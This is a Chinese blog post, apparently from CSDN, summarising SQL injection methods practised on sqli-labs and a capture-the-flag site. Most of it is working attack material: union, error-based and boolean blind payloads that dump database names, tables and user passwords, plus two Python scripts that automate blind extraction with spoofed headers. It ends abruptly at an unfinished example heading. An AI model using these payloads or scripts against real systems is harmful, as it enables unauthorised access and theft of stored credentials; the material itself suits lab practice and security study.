SQL注入总结

Sharpery

已于 2023-04-09 19:48:06 修改

阅读量922

点赞数

文章标签： sql 安全数据库

于 2023-04-08 20:31:34 首次发布

本文链接：https://blog.csdn.net/qq_73767109/article/details/130010903

版权

初步判断

首先判断是否存在注入点

id=1/2/3

有不同说明参数已经被带入sql语句中执行了

其次判断注入类型

URL为getc的注入传参

?id=1 and 1--+

?id=1 and 0--+

若有不同回显说明是数字型，若没有考虑字符型

?id=1' and 0--+

?id=1' and 1--+

注入一般为数字型和字符型

传参一般为get或者post

判断注入列数

union 联合判断

?id=-1 union select 1,2,3....--+

正常回显为可注入，报错就是超了

一个一个尝试就可以得到表格列数

order by判断

?id=1 order by n #n为任意正整数

超出列数同样报错

nuion联合注入

知道列数就可以开始用union注入

爆库名

?id=-1 union select 1,2,database()--+

爆表名

?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

爆字段名

?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns where table_name="users" [and table_schema=database()]--+

爆值

?id=-1 union select 1,2,group_concat(id,password,username)from users--+

报错注入

报错注入要在有报错且注入内容有显示的情况下使用

报错注入是要判断真值的所以要加上逻辑连接符号（and,or）

?id=1 and extractvalue(1,concat(0x5c,(select database()),0x5c))--+

或

?id=-1 or extractvalue(1,concat(0x5c,(select database()),0x5c))--+

爆表名

?id=1 and extractvalue(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c))--+

爆字段名

?id=1 and extractvalue(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_name="users"),0x5c))--+

爆值

因为extractvalue返回的只有32位所以要用到mid函数得到后续的内容

?id=1 and extractvalue(1,concat(0x5c,(mid((select group_concat(id,username,password)from users),64,31)),0x5c))--+

此外还有updatexml报错注入

爆数据库名

?id=1 and updatexml(1,concat(0x5c,database(),0x5c),1)--+

爆表名

?id=1 and updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)--+

爆字段名

?id=1 and updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_name="users"),0x5c),1)--+

爆值

?id=1 and updatexml(1,concat(0x5c,(select group_concat(id,username,password)from users),0x5c),1)--+

updatexml同样只回显32位

盲注

布尔盲注

当在注入无法返回数据库等内容但有报错页面和正常页面的跳转时就使用盲注

盲猜数据库的长度和名，通过是否有报错回显来判断猜得正确与否

常用的函数有:

length() 判断长度用

ascii() 判断名称用

substr() 分割字符串

具体用法自行百度

以下是自己写的脚本(可自行调试payload):

get传参:

import requests
import time
header = {
    'Host':'da41ba10-3ba9-4cfb-9326-e6f5276e4315.challenge.ctf.show',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Content-Type':'application/x-www-form-urlencoded'
}  #伪装头
def find_number(cd):   #判断数据库长度
    for i in range(1,20):
        payload = " or length((select database()))=%d--+"
        T1=time.time()
        res = requests.post(url=url+payload%i,headers=header)
        T2=time.time()
        #if(T2-T1>=3):
        if(cd in res.text):
           print("数据库长度为：",i)

def find_all(cd,payload):
    name = ""
    for i in range(1,35):
        for j in range(31, 128):
            T1 = time.time()
            res = requests.post(url=url+payload%(i,j),headers=header)
            T2 = time.time()
            if cd in res.text:
            #if(T2-T1>=3):
                name += chr(j)
                print('所得值为: %s' % name)
                break
url="http://192.168.200.128/Less-5/?id=-1'"
#库名:
payload = " or ascii(substr(database() from %d for 1))=%d--+"
#表名:
#payload="/**/or/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d--+"
#列名:
#payload = "/**/or/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users')from/**/%d/**/for/**/1))=%d--+"
#值:
#payload = "/**/or/**/and/**/ascii(substr((select/**/group_concat(id,username,password)/**/from/**/users)from/**/%d/**/for/**/1))=%d--+"

condition="You are in....."#返回条件
find_number(condition)#爆数据库长度
find_all(condition,payload)#爆名

post传参:

import requests
import time
header = {
    'Host':'da41ba10-3ba9-4cfb-9326-e6f5276e4315.challenge.ctf.show',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Content-Type':'application/x-www-form-urlencoded'
}  #伪装头
def find_number(cd):   #判断数据库长度
    for i in range(1,20):
        payload = "1' or length((select database()))=%d#"
        data = {"uname": payload%(i),
                "passwd": 123
                }
        T1=time.time()
        res = requests.post(url=url,data=data)
        T2=time.time()
        #if(T2-T1>=3):
        if(cd in res.text):
           print("数据库长度为：",i)
           return i#   #
def find_all(cd,payload):
    name = ""
    for i in range(1,35):
        for j in range(31, 128):
            data = {"uname": payload %(i,j),
                    "passwd": 123
                    }
            T1 = time.time()
            res = requests.post(url=url, data=data)
            T2 = time.time()
            if cd in res.text:
            #if(T2-T1>=3):
                name += chr(j)
                print('所得值为: %s' % name)
                break
url="http://192.168.200.128/Less-15/"
condition="flag"
#库名:
#payload = "?id=1' and if(ascii(substr(database() from %d for 1))=%d,sleep(3),1)#"
#表名:
payload="1'/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d#"
#列名:
#payload = "?id=1'/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users')from/**/%d/**/for/**/1))=%d--+"
#值:
#payload = "?id=1'/**/and/**/ascii(substr((select/**/group_concat(id,username,password)/**/from/**/users)from/**/%d/**/for/**/1))=%d--+"
find_number(condition)#爆数据库长度
find_all(condition,payload)#爆名

例题:

当判断为真的时候